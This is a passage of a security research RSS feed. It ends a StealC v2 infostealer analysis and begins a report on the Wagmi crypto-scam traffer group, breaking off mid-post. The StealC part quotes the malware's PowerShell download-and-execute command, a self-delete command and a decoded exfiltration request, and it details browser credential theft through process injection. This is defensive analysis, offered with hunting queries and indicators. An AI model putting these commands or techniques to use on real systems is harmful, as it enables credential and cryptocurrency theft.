href="https://github.com/RussianPanda95/Configuration_extractors/blob/main/stealc_decrypt_standalone.py">here</a>, IDAPython script can be found <a href="https://github.com/RussianPanda95/IDAPython/blob/main/StealC/stealc_idapython.py">here</a> to assist with the reversing.</p><p>Like in the previous version, the stealer performs the language check as part of its anti-CIS. The difference in version two is that the check for sandbox usernames within the binary is gone.</p><p>StealC leverages Windows event objects to control its execution environment. Initially, it enters a polling loop that attempts to open a named event. If this event exists, indicating another instance may be running, it doesn’t immediately terminate but instead waits approximately 4 seconds before checking again. Once it determines no such event exists, it attempts to create this named event itself, establishing its presence on the machine. And if this event creation fails, the stealer terminates itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4-5yQ35Lh8BDILlgjbTFOg.png" /><figcaption>Language check and leverage of event objects to control execution</figcaption></figure><p>If the date is not past 11/4/2025 (in our sample), the stealer proceeds to execute its main functionality, which serves as a type of “time bomb” with an expiration date.</p><p>The user can choose a few options upon generating the build — self-deletion, taking screenshots, block HWID duplicates, or IP duplicates, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9nEhiejmnQIEYiXaMrSFg.png" /><figcaption>Builder configuration</figcaption></figure><p>For self-deletion, the stealer obtains its own executable path using GetModuleFileNameA, then leverages ShellExecuteEx to launch the command /c timeout /t 5 &amp; del /f /q via cmd.exe. This creates a 5-second delay before attempting to forcibly and quietly delete the stealer’s executable, allowing the process to fully run before the deletion command executes.</p><h3>Loader</h3><p>The loader functionality is implemented as a configurable option within the stealer’s configuration structure. The function shown below has three distinct execution paths based on payload type:</p><ul><li>Type 0 payloads are executed via the function that runs standard executable files with ShellExecuteEx, the function attempts to execute the EXE up to 10 times if execution fails.</li><li>Type 1 payloads are processed through PowerShell scripts. For PowerShell execution, the stealer specifically uses the 32-bit version of PowerShell (C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe) and runs the command:</li></ul><pre>powershell.exe -nop -c &quot;iex(New-Object Net.WebClient).DownloadString(&#39;[URL]&#39;)&quot;</pre><ul><li>Type 2 payloads silently install MSI packages. They use msiexec.exe to execute the malicious installer and apply the /passive parameter for silent/minimal UI installation. If installation fails, the payload will retry execution up to 10 times.</li></ul><p>If a flag in the panel is set, it will use “RunAs” to run payloads with elevated privileges.</p><h3>C2 Communication</h3><p>The initial request sent from the infected machine contains a Base64-encoded blob; upon decoding, we can see that it contains the Build ID, HWID, and command “create”.</p><p>Decoded initial command sent to C2:</p><pre>{<br>&quot;build&quot;: &quot;main1&quot;,<br>&quot;hwid&quot;: &quot;2F33566D-A85E-A0B9-A2A5-C631CA5DAE29&quot;,<br>&quot;type&quot;: &quot;create&quot;<br>}</pre><p>The build ID is hardcoded in the builds in cleartext, the HWID is generated using a multi-step hashing process based on the volume serial number of the system’s boot drive. First, it retrieves the Windows directory to identify the drive letter (typically C:), then uses the GetVolumeInformationA Windows API to obtain the volume serial number. This number undergoes a series of custom mathematical transformations involving multiplication, subtraction, and bitwise operations to generate three distinct hash values. These values are then used to create an 8-byte array through further hashing iterations, with each byte derived from the third hash value.</p><p>The HWID generation can be reproduced the following way:</p><pre>import ctypes<br>from ctypes import windll, wintypes, byref, create_string_buffer, c_buffer<br> <br>def generate_hwid():<br>    buffer_size = 260<br>    windir = create_string_buffer(buffer_size)<br>    if windll.kernel32.GetWindowsDirectoryA(windir, buffer_size) &gt; 0:<br>        drive_letter = chr(windir.raw[0])<br>    else:<br>        drive_letter = &#39;C&#39;<br>    <br>    volume_path = f&quot;{drive_letter}:\\&quot;<br>    <br>    volume_serial = wintypes.DWORD(0)<br>    file_system_flags = wintypes.DWORD(0)<br>    <br>    if windll.kernel32.GetVolumeInformationA(<br>            ctypes.c_char_p(volume_path.encode()),<br>            None, 0,<br>            byref(volume_serial),<br>            None, byref(file_system_flags),<br>            None, 0):<br>            <br>        volume_serial_value = volume_serial.value<br>        first_hash = (0x14A30B * volume_serial_value - 0x69427551) &amp; 0xFFFFFFFF<br>        second_hash = (0xA30B * first_hash - 0x7551) &amp; 0xFFFF<br>        third_hash = (0x95DBED34 - 0x1E70FD87 * first_hash) &amp; 0xFFFFFFFF<br>        <br>        bytes_array = bytearray(8)<br>        for i in range(8):<br>            third_hash = (0x14A30B * third_hash - 0x69427551) &amp; 0xFFFFFFFF<br>            bytes_array[i] = third_hash &amp; 0xFF<br>        <br>        hwid = &quot;{:08X}-{:04X}-{:04X}-{:02X}{:02X}-{:02X}{:02X}{:02X}{:02X}{:02X}{:02X}&quot;.format(<br>            first_hash,<br>            second_hash,<br>            third_hash &amp; 0xFFFF,<br>            bytes_array[0], bytes_array[1],<br>            bytes_array[2], bytes_array[3], bytes_array[4], bytes_array[5], bytes_array[6], bytes_array[7]<br>        )<br>        <br>        return hwid<br>    <br>    return &quot;&quot;<br> <br>if __name__ == &quot;__main__&quot;:<br>    print(f&quot;Hardware ID: {generate_hwid()}&quot;)</pre><p>The function below is responsible for parsing configuration parameters received from the command and control server. This function is a critical part of StealC’s operation as it determines what actions it will take based on instructions.</p><p>The function looks for an “opcode” parameter to verify the response structure, if the validations fail, the function aborts execution. Next, the function compares the response against predefined “success” and “blocked” strings with the parameter “opcode,” and if the response contains “blocked”, the stealer terminates itself. If the response contains “success”, it proceeds with parsing the configuration received from the C2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oH96BbojwlClsnabJCDpLw.png" /><figcaption>Validating response from the C2 server</figcaption></figure><p>The decoded Base64 response from the C2 containing the configuration upon the “success” opcode:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/240d841b10ac81028f875b4c6f9cc12e/href">https://medium.com/media/240d841b10ac81028f875b4c6f9cc12e/href</a></iframe><p>The “block” opcode is triggered when the HWID or IP address is in the blocklist or is duplicated on the server side.</p><p>Interestingly enough, the stealer developer claimed that the C2 communication is encrypted with the RC4 algorithm, but in the backend — the RC4 encryption logic is commented out, which explains why we are seeing the simple Base64-encoding. Credit goes to <a href="https://x.com/iamaachum/status/1910135119215738912">@iamaachum</a> for finding the StealC v2 panel installer, which confirms a lot of our findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfV8sE5iTVXZX83jR3k68g.png" /><figcaption>The RC4 algorithm that is commented out</figcaption></figure><p>The function below locates specific parameters in the response from the C2. The C2 server sends configuration as structured data in JSON. StealC then parses each parameter and stores values in designated memory locations, it then references these stored values to determine the next steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3FcS1j9kDG3ncfVcoutAhg.png" /><figcaption>Snippet of the function that parses the config responses from the C2</figcaption></figure><h3>StealC Configuration Parameters</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/306b29eae6a622d9ac8fc89df00eefcd/href">https://medium.com/media/306b29eae6a622d9ac8fc89df00eefcd/href</a></iframe><h3>Browser Object Parameters</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5231efac0b72bb6ae17fdcde0ab1ca34/href">https://medium.com/media/5231efac0b72bb6ae17fdcde0ab1ca34/href</a></iframe><h3>Plugin Object Parameters</h3><p>For each wallet extension, the configuration specifies the unique extension token ID, whether to extract from local storage, to extract from sync storage, or to extract from IndexedDB storage.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8756855cc7908f903baba16e4ee7876c/href">https://medium.com/media/8756855cc7908f903baba16e4ee7876c/href</a></iframe><h3>File Targeting Parameters</h3><p>CSIDL (Common Special Item ID List) values that define which folders on a victim’s system should be targeted for file scanning:</p><ul><li>%LOCALAPPDATA%\ (value 0)</li><li>%APPDATA%\ (value 1)</li><li>%DESKTOP%\ (value 2)</li><li>%USERPROFILE%\ (value 3)</li><li>%DOCUMENTS%\ (value 4)</li><li>%PROGRAMFILES%\ (value 5)</li><li>%PROGRAMFILES_86%\ (value 6)</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/17cbf39e141cd371811ba37af5cabcf4/href">https://medium.com/media/17cbf39e141cd371811ba37af5cabcf4/href</a></iframe><p>Upon sending files to the C2 server, the type is “upload_file”:</p><pre>{&quot;access_token&quot;: &quot;b6de4c8e85bb0ddbc6778a9e5555281e15720a5126c4f8a828ac8b34df7f6b376da04f93&quot;, &quot;data&quot; : &quot;TmV0d29yayBJbmZvOgo&lt;REDACTEd&gt; &quot;,&quot;filename&quot; : &quot;c3lzdGVtX2luZm8udHh0&quot;, &quot;type&quot; : &quot;upload_file&quot;}</pre><p>Each response from C2 contains dynamic values, for example, &quot;8349eb35dff&quot;:&quot;8f723bae6622&quot;, which appears to be a form of session identification.</p><p>The function below implements a data chunking system that divides large files into manageable pieces (approximately 512KB each), allowing the stealer to reliably exfiltrate large browser databases without overwhelming network connections or triggering security alerts with unusually large data transfers. For each chunk, the function creates a structured JSON payload containing the file identification information (e.g. extracted from browser files), chunk metadata including <br> “part_index” (current chunk number) and “total_parts” (total number of chunks).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Fbqn9bANaUfVzJV6znCXVg.png" /><figcaption>Snippet of the function that handles large files by breaking them into manageable pieces</figcaption></figure><h3>Browser Data Decryption</h3><p>As mentioned previously, the stealer decrypts Firefox passwords and cookies directly within the binary itself, rather than exfiltrating encrypted data to the C2 server for decryption and, unlike the previous version of the stealer, it doesn’t retrieve any dependencies from the C2 server anymore.</p><p>It first modifies the system’s PATH environment variable by adding directories where Firefox is commonly installed (like “C:\Program Files\Mozilla Firefox”). By adding these locations to the PATH, the stealer can find and load the NSS3.dll library using a simple LoadLibraryA call.</p><p>After it locates the necessary libraries, the stealer loads the NSS3.dll library and retrieves the addresses of critical decryption functions through GetProcAddress and then proceeds to obtain function pointers to several critical NSS functions through GetProcAddress. These functions include NSS_Init, NSS_Shutdown, PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, and PK11_SDR_Decrypt.</p><p>For Chrome versions prior to v80 (referred to as “v10” in the code), the stealer uses a straightforward decryption technique. It accesses Chrome’s “Login Data” SQLite database file, which contains encrypted credentials identifiable by the “DPAPI” signature. The stealer leverages Chrome’s pre-v80 implementation: passwords were encrypted using AES with a static, hardcoded key that remained consistent across all Chrome installations. This allows the stealer to directly decrypt the credentials without requiring additional system privileges or complex operations.</p><p>For Chrome v80+ credentials, the stealer leverages APC (Asynchronous Procedure Call) injection to bypass Chrome’s improved security model. The process begins by creating a suspended process using CreateProcessA with a path received from the caller (Chrome’s executable path). Once the process is created, the stealer allocates memory within this process using VirtualAllocEx, securing 153,088 bytes of executable memory, it then writes the custom embedded payload into this allocated memory using WriteProcessMemory. This payload contains the code necessary to interact with the Windows DPAPI and Chrome’s encryption mechanisms within the context of a legitimate Chrome process. The injected custom payload establishes a COM connection with Windows cryptographic services using CoCreateInstance and CoSetProxyBlanket, directly interfacing with DPAPI. It targets Chrome’s Local State file, extracts the encrypted master key, and leverages the COM interface to decrypt it, transmitting the result back to the main stealer process through a named pipe. The C2 server contains a PHP implementation that handles the standard cryptographic operations using AES-256-GCM to decrypt the credentials once it receives the master key from the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_jCEsj9N83iCnvRmVw5sDA.png" /><figcaption>Snippet of PHP implementation to decrypt Chrome v20 encrypted data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*YRDxMZ55TshRPF8Js-b3sQ.png" /><figcaption>Snippet of the custom payload</figcaption></figure><p>When targeting browser database files that may be in use by active browser processes, the stealer first creates a directory change notification using ReadDirectoryChangesW to monitor for file system events, then systematically enumerates and copies specific sensitive files such as “Login Data,” “Cookies,” “Web Data,” and “Local State.” For each database file, it attempts to copy it up to 10 times if initial attempts fail. The copied files are temporarily sent to C:\ProgramData.<br>When these browser database files are locked by active processes, the stealer leverages the Windows Restart Manager API (RmStartSession, RmRegisterResources, RmGetList) to identify which processes have locks on the target files. After identifying these processes, it opens them with OpenProcess and forcibly terminates them using TerminateProcess, effectively removing any locks on the files. This approach ensures that the stealer can access browser databases even when browsers are actively running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*6rv41bNxMWjiW1NXlX4dOA.png" /><figcaption>Browser-related files copied to ProgramData (Source: any.run)</figcaption></figure><h3>C2 Hunting</h3><p>You can leverage platforms such as Validin, FOFA, and Censys to find StealC2 version 2 infrastructure using the following queries:</p><ul><li>FOFA: <em>fid=”VVO/09fqXkg8zzkjfF7aew==”</em> (Credit to <a href="https://x.com/g0njxa/status/1910366345809530929">@g0njxa</a>)</li><li>Validin: <em>body_hash=028ad738ff369741fa2f0074e49a0d8704521531</em> (Credit to <a href="https://x.com/pancak3lullz">@pancak3lullz</a>)</li><li>Censys:<em> services.http.response.body=”&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n &lt;meta charset=\”utf-8\”&gt;\n &lt;title&gt;404 Not Found&lt;/title&gt;\n &lt;style&gt;\n body {\n width: 35em;\n margin: 0 auto;\n font-family: Tahoma, Verdana, Arial, sans-serif;\n }\n &lt;/style&gt;\n&lt;/head&gt;\n&lt;body&gt;\n &lt;h1&gt;Not Found&lt;/h1&gt;\n &lt;p&gt;The requested URL was not found on this server.&lt;/p&gt;\n &lt;hr&gt;\n &lt;address&gt;nginx/1.18.0 (Ubuntu)&lt;/address&gt;\n&lt;/body&gt;\n&lt;/html&gt;”</em></li></ul><h3>Detection</h3><p>You can access the Yara rule <a href="https://github.com/RussianPanda95/Yara-Rules/blob/main/StealC/win_mal_StealC_v2.yar">here</a>.</p><h3>Indicators of Compromise</h3><p><strong>C2:</strong></p><pre>45[.]93[.]20[.]64<br>91[.]92[.]46[.]133<br>91[.]211[.]250[.]177<br>198[.]251[.]84[.]107<br>85[.]192[.]49[.]87<br>194[.]55[.]137[.]8<br>147[.]45[.]44[.]116<br>213[.]21[.]237[.]183<br>62[.]113[.]118[.]58<br>5[.]253[.]30[.]7<br>91[.]220[.]8[.]107<br>45[.]141[.]233[.]86<br>185[.]87[.]48[.]173<br>116[.]202[.]216[.]170<br>62[.]60[.]226[.]114<br>85[.]208[.]119[.]2<br>89[.]110[.]116[.]81<br>62[.]60[.]226[.]20<br>77[.]90[.]153[.]241<br>157[.]180[.]8[.]71<br>2[.]56[.]166[.]193<br>176[.]65[.]142[.]44<br>176[.]65[.]142[.]47<br>179[.]43[.]180[.]186<br>85[.]192[.]48[.]188<br>83[.]229[.]17[.]68<br>83[.]217[.]208[.]133<br>161[.]97[.]75[.]178<br>91[.]92[.]46[.]177<br>185[.]106[.]176[.]178<br>81[.]19[.]131[.]77<br>85[.]158[.]108[.]135<br>83[.]147[.]216[.]49<br>185[.]170[.]154[.]143<br>147[.]45[.]44[.]173<br>185[.]102[.]115[.]17<br>213[.]21[.]237[.]173<br>104[.]245[.]241[.]70</pre><p><strong>Payloads:</strong></p><pre>841d0ebecc7dc7b7e06433fcd0cbbec911fa127fee34bfc7c34c946f84aee1ef<br>8aefa989626374e451620567517cc8862478a770ec0f2da0a910f3f8b5495422<br>11bbbbdfa669520d5cb2f600656be4259e0256e220ba85175f1ffe84de064a00<br>d60f7f3a2b46c6231734618eeddab803c3f29d0bb44b1e90dbbbc9f355a40931<br>71bc74ec4778c88bb7d1f3980093475bfd98d973b09945d51dff588d4da0b695<br>6b638236003f92b54a83abd988b3a9f92bd58c0c7727a637bc0e191597a421ad<br>a1b2aecdd1b37e0c7836f5c254398250363ea74013700d9a812c98269752f385<br>f02986c8beb4ae23fd9c1e4d923a208b2afcb69811d52aed3dc85ad60badf472<br>bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97</pre><h3>Reference</h3><p><a href="https://x.com/g0njxa/status/1907402495690674224">https://x.com/g0njxa/status/1907402495690674224</a></p><p><a href="https://github.com/RussianPanda95/Configuration_extractors/blob/main/stealc_decrypt_standalone.py">https://github.com/RussianPanda95/Configuration_extractors/blob/main/stealc_decrypt_standalone.py</a></p><p><a href="https://github.com/RussianPanda95/IDAPython/blob/main/StealC/stealc_idapython.py">https://github.com/RussianPanda95/IDAPython/blob/main/StealC/stealc_idapython.py</a></p><p><a href="https://x.com/iamaachum/status/1910135119215738912">https://x.com/iamaachum/status/1910135119215738912</a></p><p><a href="https://x.com/g0njxa/status/1910366345809530929">https://x.com/g0njxa/status/1910366345809530929</a></p><p><a href="https://x.com/pancak3lullz">https://x.com/pancak3lullz</a></p><p><a href="https://github.com/RussianPanda95/Yara-Rules/blob/main/StealC/win_mal_StealC_v2.yar">https://github.com/RussianPanda95/Yara-Rules/blob/main/StealC/win_mal_StealC_v2.yar</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4e32da04396" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Wagmi Manual: Copy, Paste, and Profit]]></title>
            <link>https://medium.com/@malbearlabs/the-wagmi-manual-copy-paste-and-profit-2803a15bf540?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/2803a15bf540</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 18:56:43 GMT</pubDate>
            <atom:updated>2025-04-05T18:57:18.783Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EVeeWkEJjB0QW6j81AOrQ.png" /></figure><blockquote>This blog is written in collaboration with @g0njxa. Our goal is to raise awareness, as we have seen many people fall for these scams across X, Discord, and other social media platforms, generating significant profits for threat actors.</blockquote><h3>Case Study</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*JNGhwYFXLuMS_u6NyOanNw.png" /><figcaption>Wagmi ad poster</figcaption></figure><p>First promoted as the “Triple Culture” Team and later rebranded as the Wagmi Team, this traffer group has been operating since at least, early 2023. One of their initial advertisement posts was made on Nulled, which was later seized by law enforcement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4hpS1KKwtM2ccS-C9P3dA.png" /><figcaption>Paid advertisement on Telegram channels in March 2023 (Banner / Original Russian text / English translation)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Qfl-_8VzUiEXoExSLQCWw.png" /><figcaption>Early advertisement on Nulled (April 2023, Source: Wayback Machine from archive.org)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqtBpD0KbreBMuw0XwzL7w.png" /><figcaption>Rebranded advertisement on Nulled (December 2024, Source: Wayback Machine from archive.org)</figcaption></figure><p>The group specializes in NFT scams and boasts over two years of experience. They offer MacOS and Windows stealers that are crypted with the “unique” crypter. Their operation includes callers, guides, and mentorship from members. They also claim to have high-quality phishing pages and continuously make developments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SZvIWYAWD8nUlLhL3N4ZdQ.png" /><figcaption>Advertisement on Zelenka forum</figcaption></figure><p>Just to see how much profit Wagmi makes from the operations, we have attached the graph below for your reference. Each username represents an individual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h5iFwmTsrNiOig8jYuceg.png" /><figcaption>Profit chart (2024–2025)</figcaption></figure><p>The alleged total earning of this group is, at least, $2,413,829 between the first log record on June 6th, 2023 until March 2nd,2025.</p><p>As observed on the Wagmi channels, the source of this profit is linked to victim logs and is often described as coming from “brute-forcing password wallets”, “cold wallets (Ledger, Trezor)”, or “NFT-selling”. The most common method of compromising cold wallets involves deploying seed phrase phishing, which aims to trick users into revealing their seed phrase on infected machines. However, these techniques don’t always succeed, and the potential amount of cryptocurrency that could have been stolen is likely higher than what is discussed in this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wPL3ToNNcQAUAKSHnWxjzg.png" /><figcaption>Amount of cryptocurrency issued to individual workers and the alleged source of the income</figcaption></figure><p>Within the Wagmi Team, wallets with balances lower than approximately $300 are considered unimportant, and the administration typically makes no effort to brute-force their passwords to drain the assets. Instead, the information from these wallets is likely passed on to the workers associated with the victim’s log for their own processing. As such, the potential profit from these wallets is not reflected in the charts discussed in this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*alCONh7RtqYuwgEHq_iUjQ.png" /><figcaption>Logs showing wallets that have less than 300$</figcaption></figure><h3>Wagmi Operation</h3><p>Similar to CryptoLove, Wagmi leverages NFT marketplaces to target victims, including OpenSea, Magic Eden, and Getgems. The threat actor selects profiles with a floor price of approximately $500 or more — the floor price being the lowest price at which a specific NFT can be purchased. They then join the corresponding Discord server, identify members, and attempt to lure them into installing the malicious application via X or Discord.</p><p>According to the group lead, accounts without their X profiles listed on Discord are preferable because they are less likely to have been targeted by spam.</p><p>The work on the Wagmi traffer team is very simple and usually involves newcomers into the traffer ecosystem. The group has a short “manual” on how to initiate conversations with potential victims. They typically approach them with enticing job offers, presenting various positions that seem appealing, which is the most basic and common scam practice by traffers.</p><p>Please note that most of the content shown in the manual was stolen from other manuals in bigger traffer teams such as Crazy Evil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*OdO3vE4P3CG6tW_voNeeLw.png" /><figcaption>The manual on how to start the conversation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*v0eI4mEtTy56Rr3gRwOD8g.png" /><figcaption>Dialog example on X</figcaption></figure><p>Dialogs with victims are also supplemented with fake guidance manuals given to the individuals being scammed, trying to gain their trust.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*XtgXKj1Bna7JetWuU6Qn-w.png" /><figcaption>Dialog example on Discord</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*izoRZaVmJAzlrcQZMlAX1w.png" /><figcaption>Fake “Staff Guidance Manual RR 2025” document issued to the victim — 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*055TpxCkkTyT6aDZEuJIfw.png" /><figcaption>Fake “Staff Guidance Manual RR 2025” document issued to the victim — 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GYtj2xbDjDBfRiemPCWsqA.png" /><figcaption>Fake “Frequently Asked Questions RR Staff 2025” document issued to victim — 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7iGiq9Nkj3tuF-9Ow4-5Q.png" /><figcaption>Fake “Frequently Asked Questions RR Staff 2025” document issued to victim — 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vb9JdJLXD6rIEUBxA03SLg.png" /><figcaption>Wagmi’s victim (Source: X)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*97S7InhEVhJeW8F8Sfe4yQ.png" /><figcaption>Wagmi’s victim (Source: X)</figcaption></figure><p>Users from social media platforms like X, particularly those involved in the Web3 community, sometimes publicly share their cryptocurrency wallet addresses — for example, to receive token airdrops. This behavior can unintentionally link individuals to the assets they hold. Such information is highly valuable to traffers, who use it to identify potential victims.</p><p>Following trends observed within the traffer scam community, the Wagmi team has developed an automated scraper and parser that collects cryptocurrency wallet addresses posted on Twitter (X) to help identify these potential victims.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*AO0w8UfUry6c8Oev8iYu5g.png" /><figcaption>Wagmiscapper tool to identify potential victims</figcaption></figure><p>The tool is maintained and operated by the administration, and the scraped information is provided to new workers to support their scam operations.</p><p>The Wagmi traffer group is managed by @DanbiWoo, with @scarletexe taking on a support role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*3uXcBmYFvkEh82NC6OR4hQ.png" /><figcaption>@DanbiWoo (Source: Telegram)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*hvRZY_U4ZRrEzxNwwnLGaQ.png" /><figcaption>@scarletexe (Source: Telegram)</figcaption></figure><p>An example of the worker account is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*iH41VTkqtemyiYALOg5hhA.png" /><figcaption>Worker account on X</figcaption></figure><p>The scam websites created by the Wagmi team are less sophisticated compared to those from other scam projects observed in different Traffer teams. Wagmi specializes in promoting fake web3-themed games that are, in fact, impersonations of other real games projects, but under a new name. The Wagmi team also tries to incorporate fake meeting software projects into their scam operations, which is a common topic in the traffer ecosystem. Like on the fake games, the fraudulent meeting software websites lack originality and closely mimic those from other Traffer teams, such as Marko Polo.</p><p>This is reinforced by the fact that some websites used by Wagmi had references to the original websites from where the content theme was stolen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uHg0q6J03ftTY6gs3vzNkg.png" /><figcaption>Wagmi landing page referencing the original legitimate website</figcaption></figure><p>And, of course, similar-looking designs with exact text matching, as mentioned before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FiwosQWnP58epB4jcmqqg.png" /><figcaption>Comparison between traffer landing pages (FriendsCompany on the left, Wagmi on the right)</figcaption></figure><p>Despite having non-sophisticated scam projects, Wagmi poses a threat to the internet community, and its workers have made possible the stealing of millions in cryptocurrencies from victims.</p><p>When new users are accepted into the group work, they are offered different scam projects (landings) to work with. Let’s look at them.</p><h3>Splare</h3><p>The Splare Call app claims to be a video meeting software “ideal for companies or people who value privacy”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IgrNCA952zn40DKghPJkGw.png" /><figcaption>Splare landing page</figcaption></figure><p>The website above is a clone of Vixcall/Voxium/Vorium, which are known fake meeting software platforms previously used by cybercriminal groups in their social engineering campaigns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hQJXUlPoG0lCMer7noAUQ.png" /><figcaption>Splare and Vixcall landing pages</figcaption></figure><p>The user is prompted to use an “access code” to download the Splare Call App. This code is generated on the Wagmi Telegram Bot, where every worker is given a unique code. This code is shared with victims to download malicious builds and avoid leaks to researchers. Windows and MacOS applications are delivered based on the victim’s User-Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EJid9kbZcbY_nFPko07ayw.png" /><figcaption>Landing page serving the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_dpjPslR9y7AJWGK2nTzw.png" /><figcaption>MacOS payload delivery (Splare)</figcaption></figure><p>Victims from the website above are tracked in the log channel by the marker or build ID “SPL” as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*3OvMTbegjkAf9eU3fDUblg.png" /><figcaption>Telegram logs (Build ID “SPL”)</figcaption></figure><h3>Showdown game</h3><p>The Showdown game claims to be a “free-to-play battle royale game”.</p><p>In fact, this website impersonates a mobile game named “Takedown Legends”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YbirpQSdxcFFZFl1Ky02w.png" /><figcaption>Wagmi malicious landing page (on the left), legitimate mobile game Takedown Legends (on the right)</figcaption></figure><p>When a user tries to download from the website, it is prompted with a selection of operating system and required to validate an access code (generated on the Wagmi Code Telegram bot) to generate a download link, a common behavior in all the Wagmi websites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*eLrnl73PRf9wD37J1sZswQ.png" /><figcaption>Windows payload delivery (fake Takedown Legends)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwiXSq6uk7OqOorezv7VTQ.png" /><figcaption>MacOS payload delivery (fake Takedown Legends)</figcaption></figure><p>Victims from this website are tracked in the log channel by the build ID “SWD” as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*c8Rq5nTp4yH9iEw7oRaxRQ.png" /><figcaption>Telegram logs (Build ID “SWD”)</figcaption></figure><h3>Tokyo Ronins</h3><p>The screenshot below is the Wagmi landing page that is copied from a legitimate mobile game named “Tokio Beast”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDpvuQigAm1eE4MEy3SR0g.png" /><figcaption>Wagmi malicious landing page (on the left), legitimate mobile game Tokio Beast (on the right)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*h0mFfxp_ppnvK7lm3CeqtA.png" /><figcaption>Payload delivery for Windows machines</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbkO7ZM9aEhq56Wxwb2Yug.png" /><figcaption>Payload delivery for MacOS machines</figcaption></figure><p>Victims from the landing page above are tracked under the Build ID “TR” as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*HwgyDSGBMN4NK7IWyyOA_w.png" /><figcaption>Telegram logs (Build ID “TR”)</figcaption></figure><h3>Strike Force</h3><p>This landing page advertises a purported online soccer survival match game. In reality, it’s merely a clone of the legitimate mobile game “UNKJD Soccer” with no actual functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poJaVeU7TtjC9AE5fMpPOQ.png" /><figcaption>Wagmi malicious landing page (on the left), legitimate mobile game UNKJD Soccer (on the right)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HsE13Agfwn9g2VAvT7kgcQ.png" /><figcaption>Landing page serving the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijJiHp3lON0Fhmyd2a4d8w.png" /><figcaption>Payload delivery for MacOS machines</figcaption></figure><h3>Strike League</h3><p>Similar to Strike Force, another website has been in use by the Wagmi Team in recent days. The design is a copy of their Strike Force website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fbY1eBjEiA-RFAagi5HVew.png" /><figcaption>Strike Force landing page</figcaption></figure><p>Users are also prompted with the same banners than in the Strike Force website.</p><figure><img alt="" 